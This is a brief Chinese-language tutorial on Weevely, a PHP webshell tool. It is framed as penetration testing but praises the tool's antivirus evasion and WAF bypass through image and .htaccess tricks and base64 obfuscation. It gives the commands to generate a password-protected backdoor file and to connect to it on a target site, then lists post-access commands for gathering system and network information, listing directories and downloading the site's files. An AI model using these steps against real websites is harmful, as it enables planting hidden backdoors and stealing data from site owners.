Weevely
一、 介绍
Weevely是一个轻量级的渗透测试工具，它允许渗透测试人员通过一个简单的命令行界面远程管理web应用程序或者操作系统。适用于管理php网站的webshell工具，该工具能生成木马免杀能力较强，而且使用加密连接，有一定突破WAF拦截的效果。
该工具使用python语言编写（Linux系统中的中国菜刀），支持图片与.htaccess两种绕过方式。生成的木马文件使用了base64加密处理。
二、 使用
1. 生成后门
weevely generate password path filename
# password表示生成后门的密码
# path表示生成后门文件路径
2. 连接后门
weevely http://target-web-site.com/filename password
连接建立后常用的命令：
:system_info 查看系统信息
:net_ifconfig 获取网卡信息
:file_ls 列出目录中的内容
:file_download 下载目标站点文件